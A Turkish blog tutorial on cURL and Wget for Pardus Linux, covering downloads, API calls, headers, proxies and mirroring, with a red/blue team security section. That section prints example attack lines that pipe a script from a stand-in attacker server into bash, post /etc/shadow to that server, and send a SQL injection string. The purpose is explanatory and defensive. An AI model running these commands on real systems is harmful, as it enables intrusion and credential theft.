Pardus İşletim Sisteminde cURL ve Wget Kullanımı



Pardus Linux ve ETAP (Etkileşimli Tahta Arayüzü Projesi) gibi sistemleri yönetirken, komut satırı (uçbirim) üzerinden dosya indirmek, ağ bağlantılarını test etmek ve API'lerle iletişim kurmak en temel ihtiyaçlardan biridir. Bu işlemleri gerçekleştirmek için GNU/Linux ekosistemindeki en güçlü iki araç wget ve curl'dür.


Her iki araç da HTTP, HTTPS ve FTP gibi protokolleri kullanarak sunuculardan veri çekmeye yarasa da, kullanım amaçları ve sundukları özellikler bakımından birbirlerinden ayrılırlar. 



Hedef Kitle: Sistem Yöneticileri, Linux Kullanıcıları, Siber Güvenlik Uzmanları, SOC Analistleri, DevOps Mühendisleri




1. Giriş

Linux sistemlerde internet üzerinden veri alışverişi denildiğinde ilk akla gelen iki araç vardır:

  • cURL

  • Wget

Pardus dahil bütün Debian tabanlı sistemlerde varsayılan olarak bulunurlar veya tek komutla kurulabilirler.

Bu iki araç;

  • Dosya indirme

  • API sorgulama

  • Web servis testi

  • Log toplama

  • Güncelleme

  • Penetrasyon testi

  • Otomasyon

  • DevOps süreçleri

gibi yüzlerce işte kullanılmaktadır.


2. cURL Nedir?

cURL (Client URL), URL üzerinden veri transferi yapan çok güçlü bir istemcidir.

Desteklediği protokoller:

  • HTTP

  • HTTPS

  • FTP

  • FTPS

  • SCP

  • SFTP

  • LDAP

  • SMB

  • SMTP

  • IMAP

  • MQTT

  • TELNET

  • GOPHER

  • FILE

ve daha fazlası.


Genel Yapı

curl [seçenek] URL

Örnek

curl https://example.com

3. Wget Nedir?

Wget daha çok dosya indirmek için geliştirilmiştir.

Özellikleri

  • Recursive Download

  • Resume

  • Aynalama (Mirror)

  • Batch Download

  • Arka planda çalışma


Genel kullanım

wget URL

4. Pardus'ta Kurulum

Kurulu mu?

curl --version
wget --version

Kurulu değilse

sudo apt update
sudo apt install curl wget

5. cURL Temelleri

Web Sayfasını Getirme

curl https://example.com

Header Bilgileri

curl -I https://example.com

Çıktı

HTTP/2 200
Server: nginx
Content-Type: text/html

Header + İçerik

curl -i https://example.com

Redirect Takibi

curl -L https://example.com

Sessiz Mod

curl -s https://example.com

Dosyaya Kaydetme

curl -o index.html https://example.com

Orijinal İsmiyle Kaydetme

curl -O https://example.com/file.iso

6. Wget Temelleri

Basit indirme

wget https://example.com/file.zip

Dosya adı değiştirme

wget -O dosya.zip URL

Arka planda

wget -b URL

İndirme hızını sınırlandırma

wget --limit-rate=500k URL

7. HTTP Metotları

GET

curl https://api.site.com/users

POST

curl -X POST https://api.site.com/login

PUT

curl -X PUT https://api.site.com/user/5

DELETE

curl -X DELETE https://api.site.com/user/5

PATCH

curl -X PATCH URL

8. Veri Gönderme

Form Verisi

curl -d "username=test" URL

Birden fazla

curl -d "user=test&pass=1234" URL

JSON Gönderme

curl \
-X POST \
-H "Content-Type: application/json" \
-d '{"name":"Ali"}' \
URL

9. API Testleri

REST API

curl https://api.github.com/users

Bearer Token

curl \
-H "Authorization: Bearer TOKEN"

Basic Authentication

curl -u user:password URL

10. Header Kullanımı

curl \
-H "User-Agent: Mozilla"

Birden fazla

curl \
-H "Accept: application/json" \
-H "Authorization: Bearer TOKEN"

11. Cookie Yönetimi

Cookie Kaydetme

curl -c cookies.txt URL

Cookie Kullanma

curl -b cookies.txt URL

12. HTTPS Sertifikaları

Sertifika doğrulama

curl https://site.com

Test amacıyla doğrulamayı kapatma (yalnızca laboratuvar ortamında)

curl -k URL

Not: -k seçeneği üretim ortamlarında önerilmez; çünkü TLS sertifikası doğrulanmadığından araya girme (MITM) saldırılarına karşı koruma zayıflar.


13. Proxy Kullanımı

curl \
-x http://192.168.1.10:8080

Kimlik doğrulamalı

curl \
-x http://proxy:8080 \
-U user:pass

14. FTP Kullanımı

İndirme

curl ftp://server/file.txt

Yükleme

curl -T file.txt ftp://server

15. SFTP

curl \
-u user \
-T file.txt \
sftp://server/home/user/

16. Resume

cURL

curl -C - -O URL

Wget

wget -c URL

17. Recursive Download (Wget)

Bir siteyi indirme

wget \
-r \
-k \
-p \
URL

Mirror

wget --mirror URL

18. Rate Limit

wget --limit-rate=1m URL

cURL

curl \
--limit-rate 500K

19. Bash Scriptlerinde Kullanımı

IP Bilgisi Alma

#!/bin/bash
curl https://ifconfig.me

JSON Alma

API=$(curl -s https://api.site.com)
echo $API

20. Siber Güvenlik Açısından Kullanım

Keşif (Reconnaissance)

Header bilgileri

curl -I URL

Server

Apache
Nginx
LiteSpeed

tespit edilebilir.


Banner Grabbing

curl -v URL

HTTP Method Analizi

curl -X OPTIONS URL

Güvenlik Header Kontrolü

curl -I URL

Kontrol edilebilecek başlıklar:

  • HSTS

  • CSP

  • X-Frame-Options

  • X-Content-Type-Options

  • Referrer-Policy

  • Permissions-Policy


API Güvenlik Testleri

curl \
-H "Authorization: Bearer TOKEN"

Dosya Bütünlüğü Doğrulama

sha256sum dosya.iso

Üreticinin yayımladığı SHA-256 özeti ile karşılaştırın.


21. SOC Analistleri İçin Kullanım

IOC indirme

curl https://ioc-feed.example/feed.txt

Log gönderme

curl \
-X POST \
-F log=@syslog.txt

SIEM API

curl \
-H "Authorization: Bearer TOKEN"

22. Gerçek Hayat Senaryoları

Senaryo 1

ISO indirme

wget https://cdimage.debian.org/debian.iso

Resume

wget -c https://cdimage.debian.org/debian.iso

Senaryo 2

REST API testi

curl \
-H "Authorization: Bearer TOKEN" \
https://api.example.com/users

Senaryo 3

Sunucu Header Analizi

curl -I https://example.com

Senaryo 4

JSON POST

curl \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin"}'

23. cURL ve Wget Karşılaştırması

Özellik        cURL        Wget
API Testi                
POST                Sınırlı
PUT                
DELETE                
JSON                
Resume                
Recursive Download                
Mirror Site                
FTP Upload                Kısıtlı
Scripting        Çok Güçlü        Güçlü
HTTP Header        Çok Güçlü        Orta
REST API        Mükemmel        Zayıf

24. En Sık Yapılan Hatalar

  • Sertifika doğrulamasını gereksiz yere devre dışı bırakmak (curl -k).

  • Dosya bütünlüğünü doğrulamadan yazılım çalıştırmak.

  • Komut satırında parola kullanarak kimlik bilgilerini süreç listesinde görünür hâle getirmek.

  • Yanlış yönlendirmeleri (3xx) takip etmemek.

  • API hız sınırlarını (rate limit) dikkate almamak.

  • Proxy yapılandırmasını doğrulamadan hassas verileri iletmek.


25. Sonuç

Pardus üzerinde cURL ve Wget, sistem yöneticileri, yazılım geliştiriciler ve siber güvenlik uzmanları için vazgeçilmez araçlardır. cURL; REST API testleri, HTTP istekleri, kimlik doğrulama ve otomasyon senaryolarında öne çıkarken, Wget büyük dosya indirmeleri, kesintiden devam edebilme ve web sitesi yansılama (mirror) gibi görevlerde güçlüdür.

Bu araçları güvenli kullanım alışkanlıklarıyla birleştirmek (TLS doğrulaması, dosya bütünlüğü kontrolü, güvenli kimlik doğrulama yöntemleri ve hız sınırlarına uyum) hem sistem güvenliğini hem de operasyonel verimliliği artıracaktır.


 
1. wget (Web Get) Nedir ve Nasıl Kullanılır?

wget, özellikle internetten dosya indirmek için tasarlanmış, arka planda çalışabilen ve bağlantı koptuğunda indirmeye kaldığı yerden devam edebilen son derece sağlam bir araçtır. Genellikle Pardus'ta yüklü olarak gelir. (Yüklü değilse sudo apt install wget komutuyla kurulabilir.)

Temel wget Komutları

1. Basit Dosya İndirme

Bir dosyayı orijinal adıyla bulunduğunuz dizine indirmek için URL'yi doğrudan yazmanız yeterlidir:

wget https://indir.pardus.org.tr/ISO/Pardus23/Pardus-23.2-XFCE-amd64.iso

 

2. Dosyayı Farklı Bir İsimle Kaydetme (-O)

İndirdiğiniz dosyayı kendi belirlediğiniz bir isimle kaydetmek isterseniz -O (büyük O) parametresini kullanmalısınız:

wget -O pardus_kurulum.iso https://indir.pardus.org.tr/ISO/Pardus23/Pardus-23.2-XFCE-amd64.iso

3. Kesilen İndirmeyi Devam Ettirme (-c)

Büyük boyutlu bir dosya (örneğin bir ETAP imajı veya sanal makine yedeği) indirirken bağlantınız koparsa, indirmeyi baştan başlatmak yerine kaldığı yerden devam ettirebilirsiniz:

wget -c https://indir.pardus.org.tr/ISO/Pardus23/Pardus-23.2-XFCE-amd64.iso

4. Arka Planda İndirme (-b)

Terminali meşgul etmemek ve indirmeyi arka planda sürdürmek için kullanılır. İndirme logları varsayılan olarak wget-log dosyasına yazılır:

wget -b https://ornek.com/buyuk-dosya.zip

(Logları izlemek için: tail -f wget-log komutunu kullanabilirsiniz.)

5. Toplu Dosya İndirme (-i)

İndirmek istediğiniz linkleri bir metin dosyasına (örneğin linkler.txt) alt alta yazdıktan sonra tek komutla hepsini indirebilirsiniz:

wget -i linkler.txt

6. Web Sitesini Klonlama (Mirroring)

Bir web sitesinin tamamını (HTML, CSS, resimler) çevrimdışı okumak üzere yerel diske indirmek için kullanılır:

wget --mirror -p --convert-links -P ./hedef_klasor https://ornek.com

2. curl (Client URL) Nedir ve Nasıl Kullanılır?

curl, wget'in aksine sadece dosya indirmek için değil, bir sunucuya veri göndermek (POST, PUT), başlık bilgilerini okumak, API'lerle etkileşime girmek ve ağ sorunlarını gidermek için tasarlanmış çok yönlü bir araçtır.

Temel curl Komutları

1. Ekran Çıktısı Alma (Temel Kullanım)

curl varsayılan olarak çektiği veriyi bir dosyaya kaydetmez, doğrudan terminal ekranına (stdout) yazdırır. Bir API'den JSON verisi çekerken çok işe yarar:

curl https://api.ornek.com/kullanicilar

2. Dosya İndirme (-O ve -o)

Dosyayı URL'deki orijinal adıyla kaydetmek için -O (büyük O), farklı bir isimle kaydetmek için -o (küçük o) kullanılır:

curl -O https://ornek.com/script.sh

curl -o benim_scriptim.sh https://ornek.com/script.sh

3. Yönlendirmeleri Takip Etme (-L)

İndirmeye çalıştığınız sayfa veya dosya başka bir adrese yönlendirilmişse (HTTP 301/302), curl varsayılan olarak yönlendirmeyi takip etmez. Takip etmesini sağlamak için -L parametresi şarttır:

curl -L -O https://ornek.com/en-guncel-surum

4. Sadece Başlık (Header) Bilgilerini Okuma (-I)

Bir web sunucusunun durum kodunu (örn. 200 OK, 404 Not Found) veya sunucu yazılımı versiyonunu (Nginx, Apache vb.) kontrol etmek için kullanılır:

curl -I https://nuritiras.com.tr

5. Sunucuya Veri Gönderme (POST İsteği)

Özellikle Python (Django/REST) ile yazılmış uygulamalarda veya otomasyon betiklerinde form verisi veya JSON göndermek için kullanılır:

curl -X POST -d "kullanici=admin&sifre=1234" https://api.ornek.com/login

JSON verisi göndermek için:

curl -X POST -H "Content-Type: application/json" -d '{"id": 1, "rol": "ogretmen"}' https://api.ornek.com/guncelle

wget ve curl Karşılaştırması

Hangi aracı seçeceğinize karar verirken aşağıdaki tabloyu referans alabilirsiniz:

Özellik

wget

curl

Temel Amacı

Ağdan dosya ve dizin indirmek

Sunucu ile karşılıklı veri transferi (İstek/Cevap)

Varsayılan Davranış

Dosyayı diske kaydeder

Çıktıyı terminal (stdout) ekranına yazdırır

Özyinelemeli İndirme

Var (Bütün bir dizini/siteyi indirebilir)

Yok (Tekil bağlantılar için çalışır)

API Testi / Yönetimi

Zayıf

Mükemmel (REST API testleri için endüstri standardı)

Kullanım Senaryosu

Büyük dosyalar, imajlar, ISO'lar indirme, yedek çekme

HTTP başlıklarını okuma, REST API'lere JSON veri gönderme

Özet

Pardus tabanlı laboratuvar ortamlarında veya sunucu (Proxmox/Ubuntu/ESXi) yönetiminde:

  • Büyük bir dosya indirecekseniz, indirme işleminin yarıda kalma ihtimaline karşı wget kullanın.

  • Bir betik içerisinde (örneğin bir bash kurulum scripti) ağdan hızlıca yapılandırma dosyası çekecekseniz, bir web sayfasının ayakta olup olmadığını kontrol edecekseniz veya geliştirdiğiniz bir Django REST API uç noktasını (endpoint) test edecekseniz curl kullanın.

Siber Güvenlik Açısından wget ve curl (Kırmızı ve Mavi Takım Perspektifi)

wget ve curl, sistem yöneticileri ve geliştiriciler için vazgeçilmez araçlar olmalarının yanı sıra, siber güvenlik dünyasında da kilit bir role sahiptir. Bu araçlar "çift kullanımlı" (dual-use) olarak kabul edilir; yani hem sistemleri korumak ve test etmek için (Mavi Takım) hem de sistemlere sızmak ve veri çalmak için (Kırmızı Takım / Saldırganlar) sıklıkla kullanılırlar.

Aşağıda bu iki aracın siber güvenlik perspektifinden nasıl kullanıldığını ve nelere dikkat edilmesi gerektiğini bulabilirsiniz:

1. Saldırgan (Red Team / Hacker) Yaklaşımı

Saldırganlar bir sunucuda veya uygulamada (örneğin bir web sitesinde) komut çalıştırma zafiyeti (RCE) bulduklarında, genellikle sistemde zaten yüklü olan wget veya curl'ü kullanarak saldırılarını derinleştirirler. Buna "Living off the Land" (Sistemdeki mevcut araçları kullanma) taktiği denir.

  • Zararlı Yazılım/Payload İndirme: Saldırgan, sisteme sızdıktan sonra kendi sunucusundan bir arka kapı (backdoor) veya fidye yazılımı (ransomware) indirmek için bu araçları kullanır.

    • Tehlikeli Örnek (Fileless Malware):

    • curl [http://saldirgan-sunucu.com/malware.sh](http://saldirgan-sunucu.com/malware.sh) | bash

    • Bu komut, dosyayı diske kaydetmeden doğrudan bellekte çalıştırarak antivirüsleri atlatmayı hedefler.

  • Veri Sızdırma (Data Exfiltration): Hedef sistemdeki hassas dosyalar (örneğin /etc/shadow şifre dosyası veya yapılandırma dosyaları) curl kullanılarak saldırganın sunucusuna gönderilebilir.

    • Örnek: curl -X POST -d @/etc/shadow [http://saldirgan-sunucu.com/veri-topla](http://saldirgan-sunucu.com/veri-topla)

  • Bilgi Toplama ve Keşif: Hedef sunucunun hangi yazılımı ve sürümü kullandığını öğrenmek için başlık (header) bilgileri çekilir (curl -I). Bu sayede sunucudaki bilinen zafiyetler (CVE) araştırılır.

2. Savunma (Blue Team / Güvenlik Analisti) Yaklaşımı

Güvenlik uzmanları, sistemleri sıkılaştırmak ve zafiyetleri tespit etmek için yine aynı araçları kullanırlar.

  • Zafiyet ve WAF Testleri: Web Uygulaması Güvenlik Duvarı'nın (WAF) SQL Injection veya XSS gibi saldırıları engelleyip engellemediğini test etmek için curl ile manipüle edilmiş HTTP istekleri gönderilir.

    • Örnek: curl -X GET "[https://hedef.com/login?user=admin](https://hedef.com/login?user=admin)' OR 1=1--"

  • SSL/TLS ve Sertifika Analizi: Bir sunucunun şifreleme protokollerinin (TLS 1.2 / 1.3) ve sertifikalarının düzgün yapılandırılıp yapılandırılmadığını incelemek için curl -v (verbose/detaylı) parametresiyle bağlantı testleri yapılır.

  • Zararlı Yazılım Analizi (Sandbox): Şüpheli bir bağlantı tespit edildiğinde, analistler izole edilmiş güvenli bir ortamda (sandbox) wget kullanarak zararlı dosyayı indirip incelerler.

3. Sistem Yöneticileri İçin Güvenlik Uyarıları ve Önlemler

Pardus veya herhangi bir Linux dağıtımını yönetirken bu araçların oluşturabileceği riskleri en aza indirmek için şu önlemler alınmalıdır:

1. Sertifika Doğrulamasını Kapatma (Ortadaki Adam Saldırısı Riski)

Bazen bağlantı hatalarını hızlıca çözmek için sertifika doğrulaması devre dışı bırakılır.

  • curl -k veya curl --insecure

  • wget --no-check-certificate

  • Risk: Bu parametreleri kullanmak, trafiğinizin araya giren bir saldırgan (MitM) tarafından okunmasına ve değiştirilmesine olanak tanır. Güvenmediğiniz ağlarda (ortak Wi-Fi vb.) bu parametreleri asla kullanmayın.

2. Giden Trafiği (Egress) Kısıtlama

Bir web sunucusunun (örneğin Nginx veya Apache) veya veritabanı sunucusunun internetten serbestçe dosya indirmesine gerek yoktur. Sunucularınızın Firewall (UFW/iptables) ayarlarında sadece gerekli portlara ve IP adreslerine dışarı çıkış izni verin.

3. Log İzleme ve Alarm Oluşturma (SIEM)

Eğer sisteminizde www-data (web sunucusu kullanıcısı) veya postgres gibi hizmet kullanıcıları aniden bir wget veya curl komutu çalıştırıyorsa, bu %99 oranında bir web kabuğu (web shell) saldırısına uğradığınızın göstergesidir. Sistem günlüklerini (syslog/auditd) izleyerek bu komutların hangi kullanıcılar tarafından çalıştırıldığına dair alarmlar oluşturun.

Özetle; wget ve curl internetin İsviçre çakılarıdır. Onları iyi bilmek, sadece sistem yönetimini kolaylaştırmakla kalmaz, aynı zamanda sistemlerinize yapılabilecek potansiyel saldırı vektörlerini anlamanızı da sağlar. 

Yorumlar

Bu blogdaki popüler yayınlar

Android Telefon/Tablet Ekranını Pardus ETAP 23 Yüklü Akıllı Tahtaya Yansıtma

Pardus Etap 23’de Unutulmuş Etap Yetkili Parolasını Sıfırlama

Pardus Etap 23 Yazıcı Kurulumu